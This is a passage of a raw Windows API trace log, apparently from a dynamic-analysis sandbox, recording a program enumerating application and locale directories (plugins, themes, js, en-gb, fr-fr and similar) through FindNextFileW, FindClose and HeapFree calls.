lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0183.835] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.835] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0183.835] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0183.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.835] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0183.835] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0183.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.837] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0183.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.838] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0183.839] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0183.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.839] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1 [0183.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.839] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0183.839] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.839] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0 [0183.839] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0183.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.839] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0183.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.839] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0183.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.840] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0183.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0183.849] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0183.850] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0183.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.850] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0183.850] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0183.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.850] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0183.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.850] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0183.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.850] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0183.850] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.851] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0183.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.851] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0183.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.851] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0183.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.851] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0183.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.851] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0183.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.852] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0183.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.852] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0183.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.852] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0183.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.852] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0183.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.852] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0183.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.852] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0183.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0183.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0183.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0183.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0183.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0183.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.853] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0183.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.854] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0183.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.854] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0183.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.854] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0183.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.855] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0183.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.855] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0183.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.855] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 